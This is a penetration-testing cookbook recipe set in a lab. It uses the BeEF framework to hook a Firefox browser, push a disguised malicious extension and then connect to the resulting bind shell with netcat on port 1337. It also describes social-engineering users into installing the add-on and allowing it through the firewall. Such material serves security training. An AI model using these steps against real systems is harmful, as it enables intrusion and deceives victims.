Attacking with BeEF

In previous chapters, we saw what BeEF (the Browser Exploitation Framework) is capable of. In this recipe, we will use it to send a malicious browser extension, which when executed, will give us a remote bind shell to the system.

Getting ready

We will need to install Firefox in our Windows client for this recipe.

How to do it...

  1. Start your BeEF service. In a root terminal, type the following:
    cd /usr/share/beef-xss/
    ./beef
    
  2. We will use the BeEF's advanced demo page to hook our client. In the Windows Client VM, open Firefox and browse to http://192.168.56.1:3000/demos/butcher/index.html.
  3. Now, login to the BeEF's panel (http://127.0.0.1:3000/ui/panel). We must see the new hooked browser there.
    How to do it...
  4. Select the hooked Firefox and navigate to Current Browser | Commands | Social Engineering | Firefox Extension (Bindshell).
    How to do it...

    As it is marked orange (the command module works against the target, but may be visible to the user), we may need to work on social engineering to make the user accept the extension.

  5. We will send an extension called HTML5 Rendering Enhancements to the user, which will open a shell through port 1337. Click on Execute to launch the attack.
  6. On the client, Firefox will ask for permission to install the add-on and accept it.
  7. After that, if Windows Firewall is enabled, it will ask for a permission to let the extension access the network. Say Allow access to that.
    How to do it...

    The last two steps are highly reliant on social engineering and on convincing the user that the add-on is worth the effort of installing and authorizing it.

  8. Now, we should have the client awaiting for a connection on port 1337, open a terminal in Kali Linux and connect to it (in our case it is 192.168.56.102):
    nc 192.168.56.102 1337
    
    How to do it...

    Now, we are connected to the client and have the ability to execute commands in it.

How it works...

What BeEF does, once the client is hooked to it, is send the order (through the hook.js) to the browser to download the extension. Once it is downloaded, it's up to the user to install it or not.

As said earlier, this attack depends on the user to do key tasks, it's up to us to convince the user via social engineering that she must install that extension. This could be achieved through the text in the page, saying that it is absolutely necessary to unlock some useful features in the browser.

After the user installs the extension, we just have to use Netcat to connect to port 1337 and begin issuing commands.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.147.27.131